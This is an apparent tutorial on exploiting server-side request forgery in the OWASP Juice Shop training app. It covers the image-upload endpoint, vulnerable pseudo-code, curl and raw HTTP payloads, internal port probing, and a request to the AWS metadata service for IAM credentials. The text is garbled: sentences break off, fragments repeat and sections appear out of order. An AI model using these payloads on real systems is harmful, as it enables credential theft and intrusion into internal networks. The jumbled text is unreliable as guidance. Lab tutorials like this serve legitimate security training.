Juice Shop Ssrf Apr 2026

(Note: Exact path varies by version; check the challenge description in Juice Shop). SSRF is rarely an end in itself. In Juice Shop, it's a proof-of-concept, but in real systems, combine SSRF with other vulnerabilities: 1. Cloud Metadata Extraction If Juice Shop were deployed on AWS with a misconfigured IMDSv1:

Introduction: The Silent Proxy Server-Side Request Forgery (SSRF) is often called the "forgotten twin" of Cross-Site Request Forgery (CSRF). While CSRF tricks a user's browser , SSRF tricks the server itself . An SSRF vulnerability allows an attacker to induce the server to make HTTP requests to an arbitrary domain of the attacker's choosing.

But the real SSRF is not directly in the Order ID. It's in the or "Complaint" feature, depending on the version. In the standard Juice Shop SSRF challenge, the vulnerable endpoint is:

POST /api/image/uploads HTTP/1.1 Host: juice-shop.local Content-Type: application/json "url": "http://localhost:3000/some/path" juice shop ssrf

"url": "http://10.0.0.1:22" A fast "Connection refused" means port closed. A timeout or slow response means open. If the request library supports file:// :

Or more classically: The functionality, where you provide a URL to an image of your broken juice. The server tries to fetch that image to validate it. The Vulnerability: Unvalidated URL Fetching Let's look at the pseudo-code of the vulnerable endpoint:

// Vulnerable code example (simplified from Juice Shop source) app.post('/api/image/uploads', (req, res) => const imageUrl = req.body.url; // No validation of the URL scheme or domain request.get(imageUrl, (error, response, body) => if (error) res.status(400).send('Failed to fetch image'); else // Process the image... res.send('Image uploaded'); (Note: Exact path varies by version; check the

"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" This would return the server's temporary AWS keys. Using the gopher:// protocol (if enabled in the request library or http module):

curl -X POST https://juice-shop.local/api/image/uploads \ -H "Content-Type: application/json" \ -d '"url": "http://localhost:3000/this/file/does/not/exist"' Because the server makes the request, the error response might reveal internal paths, but the actual flag is obtained by pointing to:

Using a tool like curl or Burp Repeater: Cloud Metadata Extraction If Juice Shop were deployed

POST /api/ImageUploads

For defenders, the lesson is clear: . Validate the destination as if your internal network depends on it—because it does. This article is for educational purposes. Always test on systems you own or have explicit permission to test.

If the server responds with a successful fetch (even an error from the local service), the SSRF exists. Juice Shop's base configuration has no whitelist. But in hardened real-world apps, you might see filters. Practice bypass techniques: